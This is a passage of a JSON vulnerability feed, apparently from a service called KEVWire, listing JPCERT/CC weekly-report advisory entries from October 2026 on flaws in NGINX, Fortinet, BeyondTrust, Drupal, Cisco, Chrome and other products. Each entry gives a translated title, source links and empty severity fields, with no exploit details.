excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-30384d7e0877","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple NGINX products","summary":"Weekly report: Vulnerabilities in multiple NGINX products. Original Japanese title: Weekly Report: 複数のNGINX製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のNGINX製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple NGINX products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#4","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-3dafd372369e","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: JPCERT/CC publishes \"Investigation of attack methods in serial unauthorized access incidents\"","summary":"Weekly report: JPCERT/CC publishes \"Investigation of attack methods in serial unauthorized access incidents\". Original Japanese title: Weekly Report: JPCERT/CCが「連続不正アクセス事案の攻撃手法に関する調査」を公開","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: JPCERT/CCが「連続不正アクセス事案の攻撃手法に関する調査」を公開","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: JPCERT/CC publishes \"Investigation of attack methods in serial unauthorized access incidents\"","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#22","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-45f7e590cb5a","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server","summary":"Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server. Original Japanese title: Weekly Report: NextcloudのCollabora Online - Built-in CODE Serverに脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: NextcloudのCollabora Online - Built-in CODE Serverに脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Collabora and Nextcloud"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#10","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-48b10090392a","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition","summary":"Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition. Original Japanese title: Weekly Report: ((OTRS)) Community Editionに認証回避の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: ((OTRS)) Community Editionに認証回避の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#19","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-6e0e82fcb686","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Fortinet products","summary":"Weekly report: Vulnerabilities in multiple Fortinet products. Original Japanese title: Weekly Report: 複数のFortinet製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のFortinet製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Fortinet products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#16","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-6f2b240242f6","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support","summary":"Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support. Original Japanese title: Weekly Report: BeyondTrust Remote Supportになりすましによる認証回避の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: BeyondTrust Remote Supportになりすましによる認証回避の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["BeyondTrust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#3","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-844f9fae1c52","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Mozilla products","summary":"Weekly report: Vulnerabilities in multiple Mozilla products. Original Japanese title: Weekly Report: 複数のMozilla製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のMozilla製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Mozilla products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#14","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-8f4abfadfe6a","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView","summary":"Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView. Original Japanese title: Weekly Report: AssetViewに重要なリソースに対する不適切なアクセス権の割り当ての脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: AssetViewに重要なリソースに対する不適切なアクセス権の割り当ての脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#18","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-b70f3e740654","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerability in Drupal core and multiple modules","summary":"Weekly report: Vulnerability in Drupal core and multiple modules. Original Japanese title: Weekly Report: Drupal coreおよび複数のモジュールに脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: Drupal coreおよび複数のモジュールに脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Drupal"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerability in Drupal core and multiple modules","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#5","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-ba50be7f7567","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Multiple vulnerabilities in Progress MarkLogic Server","summary":"Weekly report: Multiple vulnerabilities in Progress MarkLogic Server. Original Japanese title: Weekly Report: ProgressのMarkLogic Serverに複数の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: ProgressのMarkLogic Serverに複数の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Progress MarkLogic Server","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#20","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-c55163b4540d","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Microsoft products","summary":"Weekly report: Vulnerabilities in multiple Microsoft products. Original Japanese title: Weekly Report: 複数のマイクロソフト製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のマイクロソフト製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Microsoft products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#24","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-cba9ad1658c4","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple SAP products","summary":"Weekly report: Vulnerabilities in multiple SAP products. Original Japanese title: Weekly Report: 複数のSAP製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のSAP製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple SAP products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#15","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-ce2116a94381","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Juniper Networks products","summary":"Weekly report: Vulnerabilities in multiple Juniper Networks products. Original Japanese title: Weekly Report: 複数のJuniper Networks製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のJuniper Networks製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Juniper Networks products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#2","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-dc7bb90f8341","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Adobe products","summary":"Weekly report: Vulnerabilities in multiple Adobe products. Original Japanese title: Weekly Report: 複数のAdobe製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のAdobe製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Adobe products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#6","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-e2994e66f0a2","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: External control of assumed-immutable web parameter vulnerability in \"AmazonPay plugin\" for EC-CUBE 4 series","summary":"Weekly report: External control of assumed-immutable web parameter vulnerability in \"AmazonPay plugin\" for EC-CUBE 4 series. Original Japanese title: Weekly Report: EC-CUBE4系用プラグイン「AmazonPayプラグイン」に不変と想定しているWebパラメータの外部制御の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: EC-CUBE4系用プラグイン「AmazonPayプラグイン」に不変と想定しているWebパラメータの外部制御の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: External control of assumed-immutable web parameter vulnerability in \"AmazonPay plugin\" for EC-CUBE 4 series","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#9","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-e333acdebc25","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Multiple vulnerabilities in Google Chrome","summary":"Weekly report: Multiple vulnerabilities in Google Chrome. Original Japanese title: Weekly Report: Google Chromeに複数の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: Google Chromeに複数の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Google Chrome","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#7","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-ea8fac2bc6c8","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway","summary":"Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway. Original Japanese title: Weekly Report: Cisco Secure Email Gatewayに任意のファイル書き込みの脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: Cisco Secure Email Gatewayに任意のファイル書き込みの脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#12","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-ee1dc788e14b","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Multiple vulnerabilities in Microsoft Edge","summary":"Weekly report: Multiple vulnerabilities in Microsoft Edge. Original Japanese title: Weekly Report: Microsoft Edgeに複数の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: Microsoft Edgeに複数の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Microsoft 